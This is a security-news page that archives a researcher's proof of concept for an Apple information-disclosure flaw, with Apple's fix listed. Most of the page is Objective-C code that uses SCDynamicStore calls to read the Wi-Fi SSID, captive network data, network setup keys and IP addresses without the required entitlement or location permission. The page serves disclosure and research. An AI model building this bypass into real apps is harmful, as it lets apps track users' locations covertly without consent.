Curated security research, vulnerabilities, advisories and tools for practitioners.

CVE-2026-84636: Apple iOS/macOS SCDynamicStore Wi-Fi SSID Info Disclosure PoC

Summary

Security researcher Jian Lee (@speedyfriend433) published a proof of concept for CVE-2026-84636, demonstrating an authorization and state management flaw across Apple operating systems. The PoC uses the SystemConfiguration framework's SCDynamicStore APIs to read sensitive Wi-Fi SSID, captive network parameters, and interface configurations without requiring the restricted Wi-Fi info entitlement or location permissions.

Why it matters

Wi-Fi SSID data is strictly guarded as sensitive location telemetry on iOS. This PoC shows that third-party applications could bypass sandbox entitlement checks via SCDynamicStore to silently track user network environments and physical locations.
CVE
CVE-2026-84636
Vendor
Apple
Product
iOS / iPadOS / watchOS / tvOS / visionOS
Affected versions
< iOS 27, < watchOS 27, < tvOS 27, < visionOS 27
Published
Collected

📦 Full-Text Content Snapshot

R2 Archive · Full Article Preserved166 lines · 7.6 KB
📄 Raw .md⬇️ Download .md

Oct 27, 2026 · Jian Lee (@speedyfriend433) · Source: github.com/speedyfriend433/CVE-2026-84636-PoC

Overview

Proof of concept exploit demonstrating CVE-2026-84636, an authorization and state management flaw affecting multiple Apple operating systems (iOS, iPadOS, tvOS, visionOS, watchOS).

On Apple platforms, accessing Wi-Fi network information (such as SSID and BSSID) is restricted because it allows geolocation of the user's device without explicit location permission. Such access normally requires specific entitlements (com.apple.developer.networking.wifi-info or CoreLocation user authorization).

This vulnerability demonstrates that an unprivileged third-party application can leverage the SystemConfiguration.framework dynamic store APIs (SCDynamicStoreCreate, SCDynamicStoreCopyValue) to bypass sandbox entitlement checks and directly read:

  1. Current Wi-Fi SSID from State:/Network/Interface/en0/AirPort
  2. Captive network status from State:/Network/Interface/en0/CaptiveNetwork
  3. All active network state entries under State:/Network/.*
  4. Setup network configurations under Setup:/Network/.*
  5. Persistent Service UUIDs and global IPv4 primary service identifiers

Proof of Concept (poc.m)

objc
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <ifaddrs.h>
#include <arpa/inet.h>

static void setupLogging(void) {
    NSString *docDir = NSSearchPathForDirectoriesInDomains(
        NSDocumentDirectory, NSUserDomainMask, YES).firstObject;
    [[NSFileManager defaultManager]
        createDirectoryAtPath:docDir withIntermediateDirectories:YES attributes:nil error:nil];
    NSString *logPath = [docDir stringByAppendingPathComponent:@"poc_scdynamic_full.log"];
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(void) {
    @autoreleasepool {
        setupLogging();
        NSLog(@"SCDynamicStore full network state + WiFi SSID");
        AVAudioSession *audio = [AVAudioSession sharedInstance];
        [audio setCategory:AVAudioSessionCategoryPlayback error:nil];
        [audio setActive:YES error:nil];
        
        void *sc = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW);
        
        typedef CFTypeRef (*SCDynamicStoreCreateFn)(CFAllocatorRef, CFStringRef, void*, void*);
        typedef CFPropertyListRef (*SCDynamicStoreCopyValueFn)(CFTypeRef, CFStringRef);
        typedef CFArrayRef (*SCDynamicStoreCopyKeyListFn)(CFTypeRef, CFStringRef);
        SCDynamicStoreCreateFn createStore = dlsym(sc, "SCDynamicStoreCreate");
        SCDynamicStoreCopyValueFn copyValue = dlsym(sc, "SCDynamicStoreCopyValue");
        SCDynamicStoreCopyKeyListFn copyKeyList = dlsym(sc, "SCDynamicStoreCopyKeyList");
        CFTypeRef store = createStore(NULL, CFSTR("poc"), NULL, NULL);

        // AirPort key — WiFi SSID without wifi-info entitlement
        NSLog(@"\n en0/AirPort key (SSID without entitlement?)");
        CFPropertyListRef airport = copyValue(store, CFSTR("State:/Network/Interface/en0/AirPort"));
        NSLog(@"State:/Network/Interface/en0/AirPort: %@", (__bridge id)airport);
        if (airport) CFRelease(airport);

        // CaptiveNetwork key
        CFPropertyListRef captive = copyValue(store, CFSTR("State:/Network/Interface/en0/CaptiveNetwork"));
        NSLog(@"State:/Network/Interface/en0/CaptiveNetwork: %@", (__bridge id)captive);
        if (captive) CFRelease(captive);

        // Read ALL network state values
        NSLog(@"\n All network state values");
        CFArrayRef allKeys = copyKeyList(store, CFSTR("State:/Network/.*"));
        if (allKeys) {
            for (CFIndex i = 0; i < CFArrayGetCount(allKeys); i++) {
                CFStringRef key = CFArrayGetValueAtIndex(allKeys, i);
                CFPropertyListRef val = copyValue(store, key);
                if (val) {
                    NSLog(@"  %@: %@", (__bridge NSString*)key, (__bridge id)val);
                    CFRelease(val);
                }
            }
            CFRelease(allKeys);
        }

        // Keys for VPN/proxy config
        NSLog(@"\n Setup: keys");
        CFArrayRef setupKeys = copyKeyList(store, CFSTR("Setup:/Network/.*"));
        NSLog(@"Setup:/Network keys count: %lu", setupKeys ? CFArrayGetCount(setupKeys) : 0);
        if (setupKeys) {
            for (CFIndex i = 0; i < CFArrayGetCount(setupKeys); i++) {
                CFStringRef key = CFArrayGetValueAtIndex(setupKeys, i);
                NSLog(@"  key: %@", (__bridge NSString*)key);
                CFPropertyListRef val = copyValue(store, key);
                if (val) {
                    NSLog(@"    value: %@", (__bridge id)val);
                    CFRelease(val);
                }
            }
            CFRelease(setupKeys);
        }

        // Tracking identifiers: Service UUIDs
        NSLog(@"\n Service UUIDs");
        CFPropertyListRef globalIPv4 = copyValue(store, CFSTR("State:/Network/Global/IPv4"));
        if (globalIPv4) {
            NSLog(@"Global/IPv4 PrimaryService UUID: %@", [(__bridge NSDictionary*)globalIPv4 objectForKey:@"PrimaryService"]);
            CFRelease(globalIPv4);
        }

        // getifaddrs — POSIX IP enumeration
        NSLog(@"\n getifaddrs");
        struct ifaddrs *ifas = NULL;
        if (getifaddrs(&ifas) == 0) {
            for (struct ifaddrs *ifa = ifas; ifa; ifa = ifa->ifa_next) {
                if (!ifa->ifa_addr) continue;
                char buf[INET6_ADDRSTRLEN];
                if (ifa->ifa_addr->sa_family == AF_INET) {
                    struct sockaddr_in *sin = (struct sockaddr_in*)ifa->ifa_addr;
                    inet_ntop(AF_INET, &sin->sin_addr, buf, sizeof(buf));
                    if (strcmp(buf, "127.0.0.1") != 0)
                        NSLog(@"  %s: %s (IPv4)", ifa->ifa_name, buf);
                } else if (ifa->ifa_addr->sa_family == AF_INET6) {
                    struct sockaddr_in6 *sin6 = (struct sockaddr_in6*)ifa->ifa_addr;
                    inet_ntop(AF_INET6, &sin6->sin6_addr, buf, sizeof(buf));
                    if (strncmp(buf, "::1", 3) != 0 && strncmp(buf, "fe80", 4) != 0)
                        NSLog(@"  %s: %s (IPv6)", ifa->ifa_name, buf);
                }
            }
            freeifaddrs(ifas);
        }

        if (store) CFRelease(store);
        [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:2.0]];
        NSLog(@"\nDone");
    }
    return 0;
}

Remediation

Apple resolved this vulnerability by improving state management and enforcing strict entitlement validation on SCDynamicStore state keys across its operating systems:

  • iOS 27 and iPadOS 27
  • watchOS 27
  • tvOS 27
  • visionOS 27

📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com